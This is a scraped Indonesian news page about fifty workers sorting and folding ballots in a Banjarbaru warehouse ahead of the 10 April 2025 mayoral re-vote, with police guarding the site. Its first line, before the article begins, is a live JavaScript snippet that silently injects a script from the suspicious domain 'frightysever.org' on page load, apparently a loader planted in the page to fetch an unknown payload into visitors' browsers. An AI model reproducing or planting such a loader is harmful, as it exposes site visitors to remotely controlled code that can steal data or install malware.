(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Surat suara untuk Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru mulai disortir dan dilipat kurang lebih sepekan jelang pelaksanaan Pemungutan Suara Ulang (PSU), Kamis (10/4/2025).
Setidaknya ada 50 petugas sortir dan lipat direkrut oleh Komisi Pemilihan Umum (KPU) Kalimantan Selatan untuk bekerja melakukan penyortiran dan pelipatan surat suara.
Puluhan pekerja melaksanakan tugasnya di gudang penyimpanan logistik yang disewa oleh KPU Kota Banjarbaru tepatnya berada di Gedung Bulutangkis Dimasindo Kota Banjarbaru.
Suasana di lokasi terlihat semakin siaga dengan kehadiran personel yang bergantian berjaga selama 24 jam nonstop. Personel nampak melakukan penjagaan meliputi bagian halaman depan gudang hingga di dalam gudang logistik.
Baca juga: Pemkab Gelar Pisah Sambut Kapolres Banjar, AKBP Dr Fadli Gantikan AKBP Ifan Hariyat
Koordinator Divisi Sosialisasi Pendidikan Pemilih, Partisipasi Masyarakat, dan SDM KPU Kalsel, Fahmi Failasopa mengatakan, sortir lipat dimulai sejak pukul 08.30 Wita dengan melibatkan 50 petugas yang berpengalaman.
“Mereka masing-masing melipat sebanyak 2 box surat suara, satu box berisi 2.000 lembar surat suara,” ujar Fahmi Failasopa saat diwawancarai di Gudang Logistik KPU Banjarbaru, Kamis (10/4/2025) siang.
Fahmi menyebutkan total seluruh box surat suara yang dilipat dan disortir berjumlah 102 box, sehingga rata-rata petugas mendapatkan jatah 2 box.
Baca juga: Pemerintah Berikan Pemutihan Denda Pajak pada 2025, Ini Ketentuannya!
Dalam tahap penyortiran ini, petugas harus memastikan, seperti salah satunya gradasi warna dari surat suara tersebut apakah baik dan bagus, tidak ada yang bolong dan juga dalam kondisi cetakan yang rapi.
“Misalnya ada ditemukan surat suara yang robek, surat suara yang rusak atau surat suara yang tintanya meluber ke kolom, jika ditemukan ada seperti itu maka disortir dan tidak dilipat karena dikategorikan surat suara rusak,” jelas dia.
Pihaknya menekankan pada petugas sortir lipat agar menjaga kebersihan pelipatan tidak ada yang membawa makanan dan minuman. Jika ingin makan dan istirahat dipersilahkan untuk meninggalkan ruangan sortir lipat.
Sementara itu rata-rata petugas ini, kata dia, sudah berpengalaman dalam hal sortir dan lipat pada Pilpres dan Pilkada 27 November 2024 sebelumnya.
Baca juga: Warga Tak Tahu Ada PSU, ‘PR’ KPU Kalsel Ajak Pemilih Datangi TPS
KPU Kalsel pun menargetkan proses sortir lipat ini selesai hanya satu hari ini.
“Selama proses sortir lipat termasuk ketika proses sortir lipat selesai gudang ini terus dijaga oleh petugas KPU, serta pihak kepolisian bergantian melakukan pengamanan objek vital Pilkada di Banjarbaru,” ungkap dia.
Salah satu petugas sortir lipat Ayu mengaku tak mengalami kendala pada proses sortir lipat yang ia lakukan.
“Dibayarnya per lembar dan tidak ada kendala sortir lipatnya,” ujar Ayu secara terpisah.
Baca juga: Minta Dakwaan Tunggal Pasal Pembunuham Berencana ke Jumran
Ia pun menargetkan satu hari dapat menyelesaikan proses sortir lipat yang dilakukan.
“Sekarang tiga ratusan, masih banyak belum ada separuh,” tuntas Ayu. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More
This website uses cookies.